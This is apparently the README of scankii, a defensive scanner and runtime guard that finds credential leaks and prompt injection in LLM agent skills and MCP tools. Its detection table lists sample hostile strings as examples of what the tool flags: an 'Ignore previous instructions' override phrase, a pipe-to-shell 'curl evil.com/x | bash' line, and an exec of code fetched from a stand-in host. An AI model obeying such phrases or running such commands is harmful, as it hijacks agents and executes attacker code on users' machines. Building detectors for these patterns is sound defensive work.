A fast, local-first SAST + Runtime security tool built exclusively to secure LLM Agents, AI Workflows, and MCP tools against prompt injection, cross-modal data leaks, and agentic credential exfiltration.
The only scanner that reads both your English instructions and your Python code — and now guards them at runtime too.
- What is scankii?
- Why This Matters
- Architecture
- Quickstart
- Installation & CLI
- Runtime Security Layer
- What scankii Detects
- False Positive Filter
- Remediation Advisor
- Comparison
- DevSecOps Integrations
- Contributing
When you build an AI Agent (using LangChain, AutoGen, CrewAI, Semantic Kernel, or MCP), you give it skills — a combination of Python code and natural language instructions (Markdown/Prompts).
Standard security scanners check code only. But what happens when your English instructions accidentally tell the agent to expose a secret? Or when an adversarial user injects a prompt that hijacks an agentic execution pipeline?
scankii solves this by reading both your natural language instructions and your Python code simultaneously, correlating them to find dangerous interactions that neither a regex scanner nor a code linter can see alone.
As of v1.3.0, scankii also provides a runtime security layer — scankii.runtime — that sandboxes agent tool calls and isolates process environments, moving protection from static detection to active prevention.
In modern LLM agent architectures, agents operate autonomously across multiple tools and execution contexts. This creates unique threat surfaces:
| Threat Vector | Traditional Scanner | scankii |
|---|---|---|
Hardcoded secret in .py file |
✅ Catches it | ✅ Catches it |
| Prompt instructs agent to expose secret | ❌ Cannot see NL | ✅ Cross-modal detection |
| Agent tool-call leaks key in args | ❌ Runtime blind spot | ✅ @tool_guard intercepts |
| Agent subprocess inherits host secrets | ❌ No env awareness | ✅ EnvIsolator strips creds |
LLM-generated placeholder sk-xxxx |
❌ False positive | ✅ Entropy filter demotes |
| AI coding assistant auto-writes secrets | ❌ No generated-code context | ✅ Allowlist + entropy |
The key insight: API key leakage is no longer just a "developer mistake" problem — it's a systemic execution problem when AI agents write and run code automatically. scankii addresses all three stages: pre-commit, pre-execution, and runtime.
scankii runs a four-layer security pipeline:
┌─────────────────────────────────────────────────────────────────┐
│ scankii v1.3.0 Pipeline │
├──────────────────┬──────────────────────────────────────────────┤
│ 1. STATIC │ NL Semantic Analyzer → SKILL.md / prompts │
│ ANALYSIS │ AST Syntax Analyzer → Python / JS source │
│ │ Pattern Scanner → Credential regex │
├──────────────────┼──────────────────────────────────────────────┤
│ 2. CROSS-MODAL │ Correlates NL intents with code sinks │
│ CORRELATION │ Surfaces leaks invisible to either alone │
├──────────────────┼──────────────────────────────────────────────┤
│ 3. ENTROPY │ Shannon entropy filter removes LLM │
│ FILTER │ placeholders — eliminates false positives │
├──────────────────┼──────────────────────────────────────────────┤
│ 4. SCORING & │ 5-axis risk score → CRITICAL/HIGH/MEDIUM/ │
│ REPORTING │ LOW/DEFER. Terminal + JSON + SARIF output │
└──────────────────┴──────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ scankii.runtime — Active Defense │
├──────────────────┬──────────────────────────────────────────────┤
│ tool_guard │ Intercepts agent tool-calls; blocks/ │
│ │ redacts credentials before execution │
├──────────────────┼──────────────────────────────────────────────┤
│ EnvIsolator │ Strips credential env vars before agent │
│ │ subprocess spawn (strip / audit modes) │
├──────────────────┼──────────────────────────────────────────────┤
│ SafeLogger / │ Drop-in print() replacement that redacts │
│ safe_format_dict│ credentials from logs and tool-call args │
└──────────────────┴──────────────────────────────────────────────┘
pip install scankii
scankii scan ./my-agent-skill/ --explainSample output:
scankii scan: ./vulnerable-skill
┏━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ File ┃ Line ┃ Pattern ┃ Channel ┃ Severity ┃ Confidence ┃
┡━━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━┩
│ run.py │ 7 │ Cross-Modal Leak │ stdout │ MEDIUM │ 82% │
│ run.py │ 8 │ Cross-Modal Leak │ network │ CRITICAL │ 96% │
└────────┴──────┴──────────────────────┴─────────┴──────────┴────────────┘
Total: 2 (CRITICAL: 1, MEDIUM: 1)
🔬 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)
╭─────────────── Remediation Hints — Secret Scoping ──────────────────╮
│ OpenAI (sk-...) │
│ 💡 Use: Project-scoped API keys with automatic rotation │
│ ↳ Create a project-scoped key in the OpenAI dashboard... │
│ 📖 https://platform.openai.com/docs/guides/safety-best-practices │
╰──────────────────────────────────────────────────────────────────────────╯
Requirements: Python 3.10+
pip install scankii# Scan a directory (terminal output, default)
scankii scan ./my-agent/
# Show attack flow diagrams
scankii scan ./my-agent/ --explain
# Export JSON report
scankii scan ./my-agent/ --format json
# Export SARIF (for GitHub Code Scanning)
scankii scan ./my-agent/ --format sarif
# Write report to an explicit path
scankii scan ./my-agent/ --format json --output reports/scan-$(date +%Y%m%d).json
# Auto-fix resolvable findings (replaces print → safe_print)
scankii scan ./my-agent/ --resolve
# Control what severity blocks CI (default: MEDIUM)
scankii scan ./my-agent/ --severity-threshold HIGH
# Explain findings from a saved JSON report
scankii explain findings.jsonThe --severity-threshold flag controls what severity level causes a non-zero exit code (blocking CI or pre-commit hooks). This lets different teams enforce different standards:
# Block only on CRITICAL — permissive
scankii scan . --severity-threshold CRITICAL
# Block on HIGH and above — balanced (recommended for most projects)
scankii scan . --severity-threshold HIGH
# Block on MEDIUM and above — strict (default)
scankii scan . --severity-threshold MEDIUMscankii.runtime provides drop-in components that defend agent workflows at execution time — after static analysis has already run. This closes the gap between "detect it at commit time" and "prevent it from happening at all."
Wraps any agent tool function and scans its arguments for credentials before the call executes:
from scankii.runtime import tool_guard, ToolGuard, ToolCallBlocked
# Decorator form
@tool_guard(policy="block")
def send_to_webhook(url: str, payload: dict) -> None:
requests.post(url, json=payload)
# Any call with a credential in args is blocked before network I/O
send_to_webhook("https://api.example.com", {"key": os.environ["OPENAI_API_KEY"]})
# → raises ToolCallBlocked("send_to_webhook: Credential pattern detected...")
# Context manager form — overrides decorator policy for a code block
with ToolGuard(policy="redact"):
agent.run_tool("email", body=f"Token: {token}")
# token is automatically redacted; call proceeds with sanitised argsThree policies:
| Policy | Behaviour |
|---|---|
block |
Raises ToolCallBlocked — call never executes |
redact |
Credential replaced with sk-[REDACTED] — call proceeds |
warn |
Logs a warning — call proceeds unchanged (safe for development) |
Strips credential-like environment variables before spawning agent subprocesses:
from scankii.runtime import EnvIsolator
# Strip mode — actually removes creds from subprocess env
with EnvIsolator():
subprocess.run(["python", "agent.py"])
# AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, etc. are not inherited
# Audit mode — logs what would be stripped without changing anything
with EnvIsolator(policy="audit"):
subprocess.run(["python", "agent.py"])
# Custom allowlist — keep specific vars
with EnvIsolator(allowlist=["PATH", "HOME", "PYTHONPATH", "MY_SAFE_VAR"]):
subprocess.run(agent_command)Variables stripped automatically include anything matching patterns for: API_KEY, TOKEN, SECRET, PASSWORD, AWS_*, OPENAI_*, GITHUB_TOKEN, JWT, CONNECTION_STRING, and more.
Drop-in replacements for print() and logging that redact credentials from output:
from scankii.runtime import safe_print, safe_format_dict, SafeLogger
# Drop-in print replacement
safe_print(f"Using key: {api_key}")
# → "Using key: sk-[REDACTED]"
# Sanitise dicts before logging (agent tool-call args are often dicts)
safe_headers = safe_format_dict({"Authorization": f"Bearer {token}"})
# → {"Authorization": "Bearer sk-[REDACTED]"}
# Structured logging with automatic redaction
logger = SafeLogger("my_agent")
logger.info("Calling API with key=%s", api_key)
# → "Calling API with key=sk-[REDACTED]"scankii covers all OWASP Top 10 for LLM categories relevant to agentic systems:
| # | Pattern | Severity | Example |
|---|---|---|---|
| 1 | Hardcoded API Keys | CRITICAL | API_KEY = "sk-proj-..." |
| 2 | Credential → stdout | MEDIUM | print(f"key={api_key}") |
| 3 | Credential → network | CRITICAL | requests.post(url, data=token) |
| 4 | Cross-Modal Leak | HIGH–CRITICAL | Prompt says "pass api_key" + code prints it |
| 5 | Prompt Injection | HIGH | "Ignore previous instructions and..." |
| 6 | Social Engineering | MEDIUM | "Paste your API key here to continue" |
| 7 | Private Key Exposure | CRITICAL | -----BEGIN RSA PRIVATE KEY----- |
| 8 | Reverse Shell / RCE | CRITICAL | curl evil.com/x | bash |
| 9 | Nested Schema Poisoning | HIGH | Prompt injection in JSON schema (CVE-2026-25253) |
| 10 | MCP Supply-Chain | HIGH | Base64/Hex hidden payloads in tool descriptions |
| 11 | Dynamic Execution | HIGH | exec(requests.get("evil.com").text) |
| 12 | Authority Boundary | DEFER | Agentic financial transactions requiring a witness |
Some patterns are structurally sound but require a runtime witness to confirm safety — for example, an agent initiating a financial transaction on behalf of a user. scankii marks these DEFER (shown in cyan) to signal: "This needs human review or a runtime mandate check."
AI coding assistants (Cursor, GitHub Copilot, Claude Code) routinely generate placeholder credentials: sk-xxxx, AKIAIOSFODNN7EXAMPLE, your-api-key-here. A naive scanner flags all of these, causing alert fatigue and killing adoption.
scankii v1.3.0 includes an entropy-based false positive filter:
- Shannon Entropy — Real secrets score ~4.5 bits/char. LLM placeholders score ~2.5 bits/char. Anything below the threshold is demoted to
DEFER. - Allowlist — 70+ regex patterns covering every placeholder format AI tools consistently generate (e.g.,
sk-xxxx,changeme,${MY_TOKEN},AKIAIOSFODNN7EXAMPLE,your_api_key_here).
Every finding now carries:
{
"confidence": 0.94,
"entropy_score": 4.37,
"is_likely_placeholder": false
}The scan summary includes:
🔬 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)
After every scan, scankii automatically surfaces provider-specific advice for switching from long-lived secrets to short-lived, least-privilege alternatives:
| Detected | Provider | Recommended Alternative |
|---|---|---|
sk-... |
OpenAI | Project-scoped keys with rotation |
AKIA... |
AWS | STS AssumeRole (1-hour session tokens) |
ghp_... |
GitHub | GitHub Apps installation access tokens |
AIza... |
Workload Identity Federation | |
gsk_... |
Groq | Secrets manager injection |
xoxb-... |
Slack | OAuth 2.0 scoped tokens |
mongodb://... |
MongoDB | X.509 certificates |
postgres://... |
PostgreSQL | IAM auth / Vault dynamic credentials |
| RSA private key | PKI | SPIFFE/SPIRE ephemeral SVIDs |
The advisor skips placeholder findings — you only get hints for real detected secrets.
| Feature | TruffleHog | GitLeaks | scankii |
|---|---|---|---|
| Regex secret scanning | ✅ | ✅ | ✅ |
| LLM prompt / NL analysis | ❌ | ❌ | ✅ |
| Cross-modal data leak detection | ❌ | ❌ | ✅ |
| AST variable sink tracking | ❌ | ❌ | ✅ |
| Attack flow visualisation | ❌ | ❌ | ✅ |
| Prompt injection detection | ❌ | ❌ | ✅ |
| Entropy-based false positive filter | ❌ | Partial | ✅ |
| Runtime tool-call interception | ❌ | ❌ | ✅ |
| Agent subprocess env sandboxing | ❌ | ❌ | ✅ |
| Provider-specific remediation hints | ❌ | ❌ | ✅ |
| SARIF output (GitHub Code Scanning) | ✅ | ✅ | ✅ |
| Local-first (no data leaves machine) | ✅ | ✅ | ✅ |
Block PRs containing vulnerable agent code. Upload results directly to GitHub Code Scanning:
name: AI Security Guard (scankii)
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Install scankii
run: pip install scankii==1.3.0
- name: Run scankii
run: |
scankii scan ./agent-skills/ \
--format sarif \
--output results.sarif \
--severity-threshold HIGH
- name: Upload to GitHub Code Scanning
uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: results.sarifStop developers from committing prompt injections or leaky agent skills locally. Threshold and output path are fully configurable via env vars:
# .pre-commit-config.yaml
repos:
- repo: https://github.com/ashp15205/scankii
rev: v1.3.0
hooks:
- id: scankii# Configure via env vars in your shell profile:
export SCANKII_SEVERITY_THRESHOLD=HIGH # only block on HIGH+
export SCANKII_OUTPUT_PATH=.scankii.json # custom report pathAdd scankii runtime guards to any LangChain / AutoGen / CrewAI tool:
from langchain.tools import tool
from scankii.runtime import tool_guard, EnvIsolator
@tool
@tool_guard(policy="block")
def search_codebase(query: str) -> str:
"""Search the codebase for relevant code."""
# If 'query' somehow contains a credential (e.g. via prompt injection),
# the call is blocked before it reaches your search backend.
return code_search.run(query)
# Spawn agent subprocesses safely
with EnvIsolator():
result = subprocess.run(["python", "agent_worker.py"], capture_output=True)scankii/
├── core/
│ ├── ast_analyzer.py # Tree-sitter AST analysis
│ ├── cross_modal.py # NL ↔ code correlation engine
│ ├── entropy.py # Shannon entropy + allowlist filter
│ ├── nl_analyzer.py # Markdown / prompt NL analysis
│ ├── patterns.py # Credential regex pattern bank
│ └── scorer.py # 5-axis risk scorer
├── output/
│ ├── cli_reporter.py # Rich terminal UI reporter
│ ├── explain.py # Attack flow visualiser
│ ├── json_reporter.py # JSON report writer
│ └── sarif.py # SARIF 2.1.0 reporter
├── rules/
│ ├── allowlist.yaml # LLM placeholder patterns
│ └── credentials.yaml # Credential detection rules
├── runtime/
│ ├── env_isolator.py # Agent subprocess env sandboxing
│ ├── safe_logger.py # Credential-redacting logger
│ └── tool_guard.py # Agent tool-call interceptor
├── scanner.py # Top-level scan orchestrator
├── cli.py # Click CLI entry point
└── remediation.py # Auto-fix + remediation advisor
- Fork the repository
- Create a feature branch:
git checkout -b feature/your-feature - Run the test suite:
pytest tests/ -v(178 tests, < 1 second) - Submit a pull request!
The leakage taxonomy is grounded in empirical AI security research:
Chen et al., "How Your Credentials Are Leaked by LLM Agent Skills: An Empirical Study" (ASE 2026).
If scankii is useful for securing your AI agents, consider buying me a coffee! ☕️
Released under the MIT License. Securing the future of Agentic AI. v1.3.0
